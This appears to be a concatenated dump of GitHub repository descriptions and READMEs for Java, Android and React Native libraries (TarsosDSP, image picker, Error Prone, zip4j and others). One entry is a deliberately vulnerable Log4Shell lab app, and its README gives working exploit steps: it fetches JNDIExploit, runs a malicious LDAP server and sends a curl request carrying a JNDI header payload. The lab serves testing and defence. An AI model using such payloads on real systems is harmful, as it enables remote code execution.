Framework](https://spring.io/blog/2016/09/22/new-in-spring-5-functional-web-framework) * [Spring WebFlux: First Steps ](https://dzone.com/articles/spring-webflux-first-steps) * [Spring-Reactive Example REST Application ](https://dzone.com/articles/spring-reactive-samples) * [Spring 5 WebFlux and JDBC: To Block or Not to Block ](https://dzone.com/articles/spring-5-webflux-and-jdbc-to-block-or-not-to-block) * [Reactive Spring 5 and Application Design Impact](https://dzone.com/articles/reactive-spring-5-and-application-design-impact) * [From Java To Kotlin - Your Cheat Sheet For Java To Kotlin ](https://github.com/MindorksOpenSource/from-java-to-kotlin) * [From Java to Kotlin](https://fabiomsr.github.io/from-java-to-kotlin/index.html) * [Petclinic: Spring 5 reactive version](https://github.com/ssouris/petclinic-spring5-reactive/) * [Spring Framework 5 Kotlin APIs, the functional way](https://spring.io/blog/2017/08/01/spring-framework-5-kotlin-apis-the-functional-way) * [Kotlin extensions for MongoOperations and ReactiveMongoOperations ](https://github.com/spring-projects/spring-data-mongodb/commit/2359357977e8734331a78c88e0702f50f3a3c75e) * [Reactive systems using Reactor](http://musigma.org/java/2016/11/21/reactor.html) * [Lite Rx API Hands-On with Reactor Core 3 ](https://github.com/reactor/lite-rx-api-hands-on) * [reactor-kotlin-workshop](https://github.com/eddumelendez/reactor-kotlin-workshop) ## Special Thanks Specials thanks for Jetbrains's support by contributing an open-source license. [<img src="./jetbrains.png" height="250px" width="250px"/>](https://www.jetbrains.com/?from=spring-reactive-sample)
1
JorenSix/TarsosDSP
A Real-Time Audio Processing Framework in Java
2011-03-25T15:34:28Z
null
null
0
christophetd/log4shell-vulnerable-app
Spring Boot web application vulnerable to Log4Shell (CVE-2021-44228).
2021-12-10T12:38:20Z
null
# Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/). It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181. ![](./screenshot.png) ## Running the application Run it: ```bash docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929 ``` ## Exploitation steps *Note: This is highly inspired from the original [LunaSec advisory](https://www.lunasec.io/docs/blog/log4j-zero-day/). **Run at your own risk, preferably in a VM in a sandbox environment**.* **Update (Dec 13th)**: *The JNDIExploit repository has been removed from GitHub (presumably, [not by GitHub](https://twitter.com/_mph4/status/1470343429599211528))... [Click Here](http://web.archive.org/web/20211211031401/https://objects.githubusercontent.com/github-production-release-asset-2e65be/314785055/a6f05000-9563-11eb-9a61-aa85eca37c76?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20211211%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20211211T031401Z&X-Amz-Expires=300&X-Amz-Signature=140e57e1827c6f42275aa5cb706fdff6dc6a02f69ef41e73769ea749db582ce0&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=314785055&response-content-disposition=attachment%3B%20filename%3DJNDIExploit.v1.2.zip&response-content-type=application%2Foctet-stream) to Download the version cached by the Wayback Machine.* * Use [JNDIExploit](https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) to spin up a malicious LDAP server ```bash wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888 ``` * Then, trigger the exploit using: ```bash # will execute 'touch /tmp/pwned' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' ``` * Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload: ``` [+] LDAP Server Start Listening on 1389... [+] HTTP Server Start Listening on 8888... [+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo [+] Paylaod: command [+] Command: touch /tmp/pwned [+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload [+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class [+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class [+] Receive ClassRequest: Exploitjkk87OnvOH.class [+] Response Code: 200 ``` * To confirm that the code execution was successful, notice that the file `/tmp/pwned.txt` was created in the container running the vulnerable application: ``` $ docker exec vulnerable-app ls /tmp ... pwned ... ``` ## Reference https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ ## Contributors [@christophetd](https://twitter.com/christophetd) [@rayhan0x01](https://twitter.com/rayhan0x01)
0
react-native-image-picker/react-native-image-picker
:sunrise_over_mountains: A React Native module that allows you to use native UI to select media from the device library or directly from the camera.
2015-06-08T20:25:31Z
null
# react-native-image-picker 🎆 A React Native module that allows you to select a photo/video from the device library or camera. [![npm downloads](https://img.shields.io/npm/dw/react-native-image-picker)](https://img.shields.io/npm/dw/react-native-image-picker) [![npm package](https://img.shields.io/npm/v/react-native-image-picker?color=red)](https://img.shields.io/npm/v/react-native-image-picker?color=red) [![License](https://img.shields.io/github/license/react-native-image-picker/react-native-image-picker?color=blue)](https://github.com/react-native-image-picker/react-native-image-picker/blob/main/LICENSE.md) ## Installation ```bash yarn add react-native-image-picker ``` ### New Architecture To take advantage of the new architecture run- #### iOS ```bash RCT_NEW_ARCH_ENABLED=1 npx pod-install ios ``` #### Android Set `newArchEnabled` to `true` inside `android/gradle.properties` ### Pre-Fabric (AKA not using the new architecture) ```bash npx pod-install ios ``` ## Post-install Steps ### iOS Add the appropriate keys to your `Info.plist` depending on your requirement: | Requirement | Key | | ------------------------------ | --------------------------------------------------- | | Select image/video from photos | NSPhotoLibraryUsageDescription | | Capture Image | NSCameraUsageDescription | | Capture Video | NSCameraUsageDescription & NSMicrophoneUsageDescription | ### Android No permissions required (`saveToPhotos` requires permission [check](#note-on-file-storage)). Note: This library does not require `Manifest.permission.CAMERA`, if your app declares as using this permission in manifest then you have to obtain the permission before using `launchCamera`. ## API Reference ## Methods ```js import {launchCamera, launchImageLibrary} from 'react-native-image-picker'; ``` ### `launchCamera()` Launch camera to take photo or video. ```js launchCamera(options?, callback); // You can also use as a promise without 'callback': const result = await launchCamera(options?); ``` See [Options](#options) for further information on `options`. The `callback` will be called with a response object, refer to [The Response Object](#the-response-object). ### `launchImageLibrary` Launch gallery to pick image or video. ```js launchImageLibrary(options?, callback) // You can also use as a promise without 'callback': const result = await launchImageLibrary(options?); ``` See [Options](#options) for further information on `options`. The `callback` will be called with a response object, refer to [The Response Object](#the-response-object). ## Options | Option | iOS | Android | Web | Description | | ----------------------- | --- | ------- | --- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | mediaType | OK | OK | OK | `photo` or `video` or `mixed`(`launchCamera` on Android does not support 'mixed'). Web only supports 'photo' for now. | | maxWidth | OK | OK | NO | To resize the image. | | maxHeight | OK | OK | NO | To resize the image. | | videoQuality | OK | OK | NO | `low`, `medium`, or `high` on iOS, `low` or `high` on Android. | | durationLimit | OK | OK | NO | Video max duration (in seconds). | | quality | OK | OK | NO | 0 to 1, photos. | | cameraType | OK | OK | NO | 'back' or 'front' (May not be supported in few android devices). | | includeBase64 | OK | OK | OK | If `true`, creates base64 string of the image (Avoid using on large image files due to performance). | | includeExtra | OK | OK | NO | If `true`, will include extra data which requires library permissions to be requested (i.e. exif data). | | saveToPhotos | OK | OK | NO | (Boolean) Only for `launchCamera`, saves the image/video file captured to public photo. | | selectionLimit | OK | OK | OK | Supports providing any integer value. Use `0` to allow any number of files on iOS version >= 14 & Android version >= 13. Default is `1`. | | presentationStyle | OK | NO | NO | Controls how the picker is presented. `currentContext`, `pageSheet`, `fullScreen`, `formSheet`, `popover`, `overFullScreen`, `overCurrentContext`. Default is `currentContext`. | | formatAsMp4 | OK | NO | NO | Converts the selected video to MP4 (iOS Only). | | assetRepresentationMode | OK | NO | NO | A mode that determines which representation to use if an asset contains more than one. Possible values: 'auto', 'current', 'compatible'. Default is 'auto'. | ## The Response Object | key | iOS | Android | Web | Description | | ------------ | --- | ------- | --- | ------------------------------------------------------------------- | | didCancel | OK | OK | OK | `true` if the user cancelled the process | | errorCode | OK | OK | OK | Check [ErrorCode](#ErrorCode) for all error codes | | errorMessage | OK | OK | OK | Description of the error, use it for debug purpose only | | assets | OK | OK | OK | Array of the selected media, [refer to Asset Object](#Asset-Object) | ## Asset Object | key | iOS | Android | Web | Photo/Video | Requires Permissions | Description | | --------- | --- | ------- | --- | ----------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | base64 | OK | OK | OK | PHOTO ONLY | NO | The base64 string of the image (photos only) | | uri | OK | OK | OK | BOTH | NO | The file uri in app specific cache storage. Except when picking **video from Android gallery** where you will get read only content uri, to get file uri in this case copy the file to app specific storage using any react-native library. For web it uses the base64 as uri. | | originalPath | NO | OK | NO | BOTH | NO | The original file path. | | width | OK | OK | OK | BOTH | NO | Asset dimensions | | height | OK | OK | OK | BOTH | NO | Asset dimensions | | fileSize | OK | OK | NO | BOTH | NO | The file size | | type | OK | OK | NO | BOTH | NO | The file type | | fileName | OK | OK | NO | BOTH | NO | The file name | | duration | OK | OK | NO | VIDEO ONLY | NO | The selected video duration in seconds | | bitrate | --- | OK | NO | VIDEO ONLY | NO | The average bitrate (in bits/sec) of the selected video, if available. (Android only) | | timestamp | OK | OK | NO | BOTH | YES | Timestamp of the asset. Only included if 'includeExtra' is true | | id | OK | OK | NO | BOTH | YES | local identifier of the photo or video. On Android, this is the same as fileName | ## Note on file storage Image/video captured via camera will be stored in temporary folder allowing it to be deleted any time, so don't expect it to persist. Use `saveToPhotos: true` (default is `false`) to save the file in the public photos. `saveToPhotos` requires `WRITE_EXTERNAL_STORAGE` permission on Android 28 and below (The permission has to obtained by the App manually as the library does not handle that). For web, this doesn't work. ## ErrorCode | Code | Description | | ------------------ | ------------------------------------------------- | | camera_unavailable | Camera not available on device | | permission | Permission not satisfied | | others | Other errors (check errorMessage for description) | ## License [MIT](LICENSE.md)
0
xuruoxuan/kkkajs
my js project
2018-04-26T16:33:22Z
null
CircleDisplay ============= Android View for displaying and selecting (by touch) values / percentages in a circle-shaped View, with animations. Features ======= **Core features:** - Displaying values in a beautiful circle shaped View - Supports percentage and normal values - Selecting / Choosing values with touch gestures (including callbacks) - Fully customizeable - Animated drawing (bar representig the value fills up animated) <img src="https://raw.github.com/PhilJay/CircleDisplay/master/screenshots/circle_display.png" width="450"> ![alt tag](https://raw.github.com/PhilJay/CircleDisplay/master/screenshots/circledisplay_demo.gif) Usage ======= Simply **copy the CircleDisplay.java** file into your project. No annoying library imports, you **ONLY** need that single file. For using the <code>CircleDisplay</code>, define it in .xml: ```xml <com.philjay.circledisplay.CircleDisplay android:id="@+id/circleDisplay" android:layout_width="match_parent" android:layout_height="match_parent" /> ``` ```java CircleDisplay cd = (CircleDisplay) findViewById(R.id.circleDisplay); ``` or create it in code: ```java CircleDisplay cd = new CircleDisplay(Context); ``` **Style** your <code>CircleDisplay</code>, and **show values**. **Styling methods:** - <code>setColor(int color)</code>: Use this method to set the color for the arc/bar that represents the value. You can either use <code>Color.COLORNAME</code> as a parameter or <code>getColor(resid)</code>. - <code>setStartAngle(float angle)</code>: Set the starting angle of your arc/bar. By default, it starts at the top of the view (270°). - <code>setAnimDuration(int millis)</code>: Set the duration in milliseconds it takes to animate/build up the bar. - <code>setTextSize(float size)</code>: Set the size of the text in the center of the view. - <code>setValueWidthPercent(float percentFromTotalWidth)</code>: Set the width of the value bar/arc in percent of the circle radius. - <code>setFormatDigits(int digits)</code>: Sets the number of digits to use for the value in the center of the view. - <code>setDimAlpha(int alpha)</code>: Value between 0 and 255 indicating the alpha value used for the remainder of the value-arc. - <code>setDrawText(boolean enabled)</code>: If enabled, center text (containing value and unit) is drawn. - <code>setPaint(int which, Paint p)</code>: Sets a new <code>Paint</code> object instead of the default one. Use <code>CircleDisplay.PAINT_TEXT</code> for example to change the text paint used. - <code>setUnit(String unit)</code>: Sets a unit that is displayed in the center of the view. E.g. "%" or "€" or whatever it is you want the circle-display to represent. - <code>setStepSize(float stepsize)</code>: Sets the stepsize (minimum selection interval) of the circle display, default 1f. It is recommended to make this value not higher than 1/5 of the maximum selectable value, and not lower than 1/200 of the maximum selectable value. For example, if a maximum of 100 has been chosen, a stepsize between 0.5 and 20 is recommended. - <code>setCustomText(String[] custom)</code>: Sets an array of custom Strings to be drawn instead of the actual value in the center of the CircleDisplay. If set to null, the custom text will be reset and the value will be drawn. Make sure the length of the array corresponds with the maximum number of steps (maxvalue / stepsize). **Showing stuff:** - <code>public void showValue(float toShow, float total, boolean animated)</code>: Shows the given value. A maximumvalue also needs to be provided. Set animated to true to animate the displaying of the value. **Selecting values:** - **IMPORTANT** for selecting values <code>onTouch()</code>: Make sure to call <code>showValue(...)</code> at least once before trying to select values by touching. This is needed to set a maximum value that can be chosen on touch. Calling <code>showValue(0, 1000, false)</code> before touching as an example will allow the user to choose a value between 0 and 1000, default 0. - <code>setTouchEnabled(boolean enabled)</code>: Set this to true to allow touch-gestures / selecting. - <code>setSelectionListener(SelectionListener l)</code>: Set a <code>SelectionListener</code> for callbacks when selecting values with touch-gestures. **Full example:** ```java CircleDisplay cd = (CircleDisplay) findViewById(R.id.circleDisplay); cd.setAnimDuration(3000); cd.setValueWidthPercent(55f); cd.setTextSize(36f); cd.setColor(Color.GREEN); cd.setDrawText(true); cd.setDrawInnerCircle(true); cd.setFormatDigits(1); cd.setTouchEnabled(true); cd.setSelectionListener(this); cd.setUnit("%"); cd.setStepSize(0.5f); // cd.setCustomText(...); // sets a custom array of text cd.showValue(75f, 100f, true); ``` License ======= Copyright 2014 Philipp Jahoda Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
0
google/error-prone
Catch common Java mistakes as compile-time errors
2014-08-21T23:26:50Z
null
# Error Prone Error Prone is a static analysis tool for Java that catches common programming mistakes at compile-time. ```java public class ShortSet { public static void main (String[] args) { Set<Short> s = new HashSet<>(); for (short i = 0; i < 100; i++) { s.add(i); s.remove(i - 1); } System.out.println(s.size()); } } ``` ``` error: [CollectionIncompatibleType] Argument 'i - 1' should not be passed to this method; its type int is not compatible with its collection's type argument Short s.remove(i - 1); ^ (see https://errorprone.info/bugpattern/CollectionIncompatibleType) 1 error ``` ## Getting Started Our documentation is at [errorprone.info](https://errorprone.info). Error Prone works with [Bazel](https://bazel.build), [Maven](https://maven.apache.org), [Ant](https://ant.apache.org), and [Gradle](https://gradle.org). See our [installation instructions](https://errorprone.info/docs/installation) for details. ## Developing Error Prone Developing and building Error Prone is documented on the [wiki](https://github.com/google/error-prone/wiki/For-Developers). ## Links - Mailing lists - [General discussion](https://groups.google.com/forum/#!forum/error-prone-discuss) - [Announcements](https://groups.google.com/forum/#!forum/error-prone-announce) - [Javadoc](https://errorprone.info/api/latest/) - Pre-release snapshots are available from [Sonatype's snapshot repository](https://oss.sonatype.org/content/repositories/snapshots/com/google/errorprone/).
0
googleapis/google-http-java-client
Google HTTP Client Library for Java
2015-01-09T00:00:41Z
null
# Google HTTP Client Library for Java [![Maven][maven-version-image]][maven-version-link] ![Stability][stability-image] [![CI Status][ci-status-image]][ci-status-link] ## Description Written by Google, the Google HTTP Client Library for Java is a flexible, efficient, and powerful Java library for accessing any resource on the web via HTTP. The library has the following features: - Pluggable HTTP transport abstraction that allows you to use any low-level library such as java.net.HttpURLConnection, Apache HTTP Client, or URL Fetch on Google App Engine. - Efficient JSON and XML data models for parsing and serialization of HTTP response and request content. The JSON and XML libraries are also fully pluggable, and they include support for [Jackson](https://github.com/FasterXML/jackson) and Android's GSON libraries for JSON. The library supports the following Java environments: - Java 7 or higher - The google-http-client-jackson2 and google-http-client-appengine modules require Java 8 or higher due to their dependencies. - Android 4.4 (Kit Kat) - GoogleAppEngine Google App Engine The following related projects are built on the Google HTTP Client Library for Java: - [Google OAuth Client Library for Java][google-oauth-client], for the OAuth 2.0 and OAuth 1.0a authorization standards. - [Google APIs Client Library for Java][google-api-client], for access to Google APIs. This is an open-source library, and [contributions][contributions] are welcome. ## Beta Features Features marked with the `@Beta` annotation at the class or method level are subject to change. They might be modified in any way, or even removed, in any major release. You should not use beta features if your code is a library itself (that is, if your code is used on the `CLASSPATH` of users outside your own control). ## Deprecated Features Deprecated non-beta features will be removed eighteen months after the release in which they are first deprecated. You must fix your usages before this time. If you don't, any type of breakage might result, and you are not guaranteed a compilation error. ## Documentation - [Developer's Guide](https://googleapis.github.io/google-http-java-client/) - [Setup Instructions](https://googleapis.github.io/google-http-java-client/setup.html) - [JavaDoc](https://googleapis.dev/java/google-http-client/latest/) - [Release Notes](https://github.com/googleapis/google-http-java-client/releases) - [Support (Questions, Bugs)](https://developers.google.com/api-client-library/java/google-http-java-client/support) [google-oauth-client]: https://github.com/googleapis/google-oauth-java-client [google-api-client]: https://github.com/googleapis/google-api-java-client [contributions]: CONTRIBUTING.md [ci-status-image]: https://github.com/googleapis/google-http-java-client/actions/workflows/ci.yaml/badge.svg?event=push [ci-status-link]: https://github.com/googleapis/google-http-java-client/actions?query=event%3Apush [maven-version-image]: https://img.shields.io/maven-central/v/com.google.http-client/google-http-client.svg [maven-version-link]: https://search.maven.org/search?q=g:com.google.http-client%20AND%20a:google-http-client&core=gav [stability-image]: https://img.shields.io/badge/stability-stable-green
0
srikanth-lingala/zip4j
A Java library for zip files and streams
2019-05-04T11:39:50Z
null
[![javadoc](https://javadoc.io/badge2/net.lingala.zip4j/zip4j/javadoc.svg)](https://javadoc.io/doc/net.lingala.zip4j/zip4j) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/net.lingala.zip4j/zip4j/badge.svg)](https://maven-badges.herokuapp.com/maven-central/net.lingala.zip4j/zip4j) [![Build Status](https://github.com/srikanth-lingala/zip4j/actions/workflows/maven.yml/badge.svg)](https://github.com/srikanth-lingala/zip4j/actions/workflows/maven.yml) [![Android Build Status](https://circleci.com/gh/srikanth-lingala/zip4j-android-test.svg?style=svg)](https://circleci.com/gh/srikanth-lingala/zip4j-android-test) [![Known Vulnerabilities](https://snyk.io//test/github/srikanth-lingala/zip4j/badge.svg?targetFile=pom.xml)](https://snyk.io//test/github/srikanth-lingala/zip4j?targetFile=pom.xml) Zip4j - A Java library for zip files / streams ========================= ## Thank you for rating Zip4j as the best Java library for zip files <sup>[[1][1], [2][2], [3][3], [4][4]]</sup>. It has encouraged me to bring this project to life again after a gap of several years. I tried to add some of the important features that were requested over this time, and also made the API much more neater. The newer version (> 2.0.0) now supports streams, which was understandably, one of the most requested feature. If you have any feedback, bugs to report, feature requests, etc, please open an issue here on GitHub. I will try to address them as soon as I can. I also monitor the tag `zip4j` on [Stack Overflow][10]. ## About Zip4j is the most comprehensive Java library for zip files or streams. As of this writing, it is the only Java library which has support for zip encryption, apart from several other features. It tries to make handling zip files/streams a lot more easier. No more clunky boiler plate code with input streams and output streams. As you can see in the usage section below, working with zip files can now even be a single line of code, compared to [this][5]. I mean no offense to the Java's built-in zip support. In fact, this library depends on Java's built-in zip code and it would have been significantly more ~~complicated~~ challenging if I had to write compression logic as well. But lets be honest, working with zip files or streams can be a lot of boiler plate code. The main goal of this library is to provide a simple API for all usual actions of a zip file or streams by doing the heavy lifting within the library and not have developers worry about having to deal with streams, etc. Apart from usability, another important goal of this library is to provide support for as many zip features as possible, which brings me to: ## Features * Create, Add, Extract, Update, Remove files from a zip file * Support for streams (ZipInputStream and ZipOutputStream) * Read/Write password protected zip files and streams * Support for both AES and zip standard encryption methods * Support for Zip64 format * Store (No Compression) and Deflate compression method * Create or extract files from split zip files (Ex: z01, z02,...zip) * Support for Unicode file names and comments in zip * Progress Monitor - for integration into apps and user facing applications ## Background Zip4j was started by me (Srikanth Reddy Lingala) back in 2008/2009, when I realized the lack of support for majority of zip format features in Java. And also working with zip files was, as mentioned several times above, a lot of boiler plate code, having to deal with streams (worse still, it was back in the days when there was no try-with-resources in Java). There was also no comprehensive library which supports zip features. So, I decided to write one, and approximately after a year, the first version was out. The response was truly overwhelming, and I got a lot of support right from the next day of release. It was not put on GitHub as git/GitHub was not as popular as it is now. Code was hosted on my website, as, guess what, a zip file :). And unfortunately, after a year or two after the initial release, life got busy and I was not able to support Zip4j as much as I wanted to. But the overwhelming encouragement I got over the years made me start working on Zip4j once again, and makes me support Zip4j as much as I can. ## Requirements JDK 7 or later<sup>*</sup> <sup>*</sup> Zip4j is written on JDK 8, as some of the features (NIO) that Zip4j supports requires features available only in JDK 8. However, considering the fact that Zip4j is widely used in Android, and to support older versions of Android, Zip4j supports JDK 7 as well. In cases where the feature/class from JDK 8 is missing, Zip4j falls back to the features available in JDK 7. In other words, when running on JDK 7, not all features will be supported. ## Maven ```xml <dependency> <groupId>net.lingala.zip4j</groupId> <artifactId>zip4j</artifactId> <version>2.11.5</version> </dependency> ``` Please check the latest version number on [Maven Central][6]. ## Usage ### Creating a zip file with single file in it / Adding single file to an existing zip ```java new ZipFile("filename.zip").addFile("filename.ext"); ``` &nbsp;&nbsp; Or ```java new ZipFile("filename.zip").addFile(new File("filename.ext")); ``` ### Creating a zip file with multiple files / Adding multiple files to an existing zip ```java new ZipFile("filename.zip").addFiles(Arrays.asList(new File("first_file"), new File("second_file"))); ``` ### Creating a zip file by adding a folder to it / Adding a folder to an existing zip ```java new ZipFile("filename.zip").addFolder(new File("/users/some_user/folder_to_add")); ``` Since v2.6, it is possible to exclude certain files when adding a folder to zip by using an ExcludeFileFilter ```java ExcludeFileFilter excludeFileFilter = filesToExclude::contains; ZipParameters zipParameters = new ZipParameters(); zipParameters.setExcludeFileFilter(excludeFileFilter); new ZipFile("filename.zip").addFolder(new File("/users/some_user/folder_to_add"), zipParameters); ``` ### Creating a zip file from stream / Adding a stream to an existing zip ```java new ZipFile("filename.zip").addStream(inputStream, new ZipParameters()); ``` Passing in `new ZipParameters()`, as in the above example, will make Zip4j use default zip parameters. Please look at [ZipParameters][7] to see the default configuration. ### Creating a zip file of compression method STORE / Adding entries to zip file of compression method STORE By default Zip4j uses Deflate compression algorithm to compress files. However, if you would like to not use any compression (called STORE compression), you can do so as shown in the example below: ```java ZipParameters zipParameters = new ZipParameters(); zipParameters.setCompressionMethod(CompressionMethod.STORE); new ZipFile("filename.zip").addFile("fileToAdd", zipParameters); ``` You can similarly pass in zip parameters to all the other examples to create a zip file of STORE compression. ### Creating a password protected zip file / Adding files to an existing zip with password protection ##### AES encryption ```java ZipParameters zipParameters = new ZipParameters(); zipParameters.setEncryptFiles(true); zipParameters.setEncryptionMethod(EncryptionMethod.AES); // Below line is optional. AES 256 is used by default. You can override it to use AES 128. AES 192 is supported only for extracting. zipParameters.setAesKeyStrength(AesKeyStrength.KEY_STRENGTH_256); List<File> filesToAdd = Arrays.asList( new File("somefile"), new File("someotherfile") ); ZipFile zipFile = new ZipFile("filename.zip", "password".toCharArray()); zipFile.addFiles(filesToAdd, zipParameters); ``` ##### Zip standard encryption Instead of AES, replace `zipParameters.setEncryptionMethod(EncryptionMethod.AES);` with `zipParameters.setEncryptionMethod(EncryptionMethod.ZIP_STANDARD);`. You can omit the line to set AES key strength. As the name suggests, this is only applicable for AES encryption. In all the above examples, you can similarly pass in zip parameters with appropriate password configuration to create a password protected zip file. ### Creating a split zip file If you want to split the zip file over several files when the size exceeds a particular limit, you can do so like this: ```java List<File> filesToAdd = Arrays.asList( new File("somefile"), new File("someotherfile") ); ZipFile zipFile = new ZipFile("filename.zip"); zipFile.createSplitZipFile(filesToAdd, new ZipParameters(), true, 10485760); // using 10MB in this example ``` Passing in `new ZipParameters()`, as in the above example, will make Zip4j use default zip parameters. Please look at [ZipParameters][7] to see the default configuration. Zip file format specifies a minimum of 65536 bytes (64KB) as a minimum length for split files. Zip4j will throw an exception if anything less than this value is specified. To create a split zip with password protection, pass in appropriate ZipParameters as shown in the example below: ```java ZipParameters zipParameters = new ZipParameters(); zipParameters.setEncryptFiles(true); zipParameters.setEncryptionMethod(EncryptionMethod.AES); List<File> filesToAdd = Arrays.asList( new File("somefile"), new File("someotherfile") ); ZipFile zipFile = new ZipFile("filename.zip", "password".toCharArray()); zipFile.createSplitZipFile(filesToAdd, zipParameters, true, 10485760); // using 10MB in this example ``` ### Zip64 format Zip64 is a zip feature which allows support for zip files when the size of the zip file exceeds the maximum that can be stored in 4 bytes (i.e., greater than 4,294,967,295 bytes). Traditionally, zip headers have a provision of 4 bytes to store for file sizes. But with growing file sizes compared to a few decades back, zip file format extended support of file sizes which extends 4 bytes by adding additional headers which uses 8 bytes for file sizes (compressed and uncompressed file sizes). This feature is known as Zip64. Zip4j will automatically make a zip file with Zip64 format and add appropriate headers, when it detects the zip file to be crossing this file size limit. You do not have to explicitly specify any flag for Zip4j to use this feature. ### Extracting all files from a zip ```java new ZipFile("filename.zip").extractAll("/destination_directory"); ``` ### Extracting all files from a password protected zip ```java new ZipFile("filename.zip", "password".toCharArray()).extractAll("/destination_directory"); ``` ### Extracting a single file from zip ```java new ZipFile("filename.zip").extractFile("fileNameInZip.txt", "/destination_directory"); ``` ### Extracting a folder from zip (since v2.6.0) ```java new ZipFile("filename.zip").extractFile("folderNameInZip/", "/destination_directory"); ``` ### Extracting a single file from zip which is password protected ```java new ZipFile("filename.zip", "password".toCharArray()).extractFile("fileNameInZip.txt", "/destination_directory"); ``` Since v2.6.0: If the file name represents a directory, Zip4j will extract all files in the zip that are part of this directory. ### Extracting a single file from zip and giving it a new file name Below example will extract the file `fileNameInZip.txt` from the zip file to the output directory `/destination_directory` and will give the file the name `newfileName.txt`. Without the third parameter of the new file name, the same name as the file in the zip will be used, which in this case is `fileNameInZip.txt`. If the file being extracted is a directory, `newFileName` parameter will be used as the directory name. ```java new ZipFile("filename.zip", "password".toCharArray()).extractFile("fileNameInZip.txt", "/destination_directory", "newfileName.txt"); ``` ### Get an input stream for an entry in a zip file ```java ZipFile zipFile = new ZipFile("filename.zip"); FileHeader fileHeader = zipFile.getFileHeader("entry_name_in_zip.txt"); InputStream inputStream = zipFile.getInputStream(fileHeader); ``` You can now use this input stream to read content from it/write content to an output stream. Please note that the entry/file name is relative to the directory it is in. If `entry_name_in_zip.txt` is in a folder called "root_folder" in the zip, then you have to use `zipFile.getFileHeader("root_folder/entry_name_in_zip.txt");`. ### Remove a file/entry from a zip file ```java new ZipFile("filename.zip").removeFile("fileNameInZipToRemove"); ``` If `fileNameInZipToRemove` represents a folder all the files and folders under this folder will be removed as well (this is valid since v2.5.0 of Zip4j. All prior versions remove just the single entry even if it is a folder). Please note that the file name is relative the root folder in zip. That is, if the file you want to remove exists in a folder called "folder1", which in-turn exists in a folder called "root-folder", removing this file from zip has to be done as below: ```java new ZipFile("filename.zip").removeFile("root-folder/folder1/fileNameInZipToRemove"); ``` If you want to be sure that the file you want to remove exists in zip file or if you don't want to deal with file names as string when using the `removeFile` API, you can use the other overloaded method which takes in a `FileHeader`: ```java ZipFile zipFile = new ZipFile("someZip.zip"); FileHeader fileHeader = zipFile.getFileHeader("fileNameInZipToRemove"); if (fileHeader == null) { // file does not exist } zipFile.removeFile(fileHeader); ``` Since v2.5.0 of Zip4j, it is possible to remove multiple files and folders from a zip file. You can now pass in a list as shown in the code below: ```java ZipFile zipFile = new ZipFile("someZip.zip"); List<String> filesToRemove = Arrays.asList("file1.txt", "file2.txt", "some-folder/", "some-new-folder-1/somefile.pdf"); zipFile.removeFiles(filesToRemove); ``` The above code will remove `file1.txt`, `file2.txt`, all files and folders under `some-folder` (including `some-folder`) and just the entry `somefile.pdf` in folder `some-new-folder-1`. All other files and folders are kept intact in the zip file. ### Rename entries in the zip file There are three ways to rename an entry in a zip file with Zip4j. One way is to pass in a file header and the new file name: ```java ZipFile zipFile = new ZipFile("sample.zip"); FileHeader fileHeader = zipFile.getFileHeader("entry-to-be-changed.pdf"); zipFile.renameFile(fileHeader, "new-file-name.pdf"); ``` Second way is to pass in just the file name to be changed (instead of the file header), and the new file name. ```java new ZipFile("filename.zip").renameFile("entry-to-be-changed.pdf", "new-file-name.pdf"); ``` It is also possible to change multiple file names at once. In this case you have to use a map, with the key of the entry in the map being the entry to be changed, and the value of the map being the new file name: ```java Map<String, String> fileNamesMap = new HashMap<>(); fileNamesMap.put("firstFile.txt", "newFileFirst.txt"); fileNamesMap.put("secondFile.pdf", "newSecondFile.pdf"); fileNamesMap.put("some-folder/thirdFile.bin", "some-folder/newThirdFile.bin"); new ZipFile("filename.zip").renameFiles(fileNamesMap); ``` To modify an entry name which is inside a folder, the new file name should contain the complete parent path as well. For example, if an entry by the name `some-entry.pdf` is in the folder `some-folder/some-sub-folder/`, to modify this entry name to `some-new-entry.pdf`: ```java new ZipFile("filename.zip").renameFile("some-folder/some-sub-folder/some-entry.pdf", "some-folder/some-sub-folder/new-entry.pdf"); ``` If the parent path is missing, then the file will be put at the root of the zip file. In the below example, after the file is renamed, `some-new-entry.pdf` will exist at the root of the zip file instead of at `some-folder/some-sub-folder/`: ```java new ZipFile("filename.zip").renameFile("some-folder/some-sub-folder/some-entry.pdf", 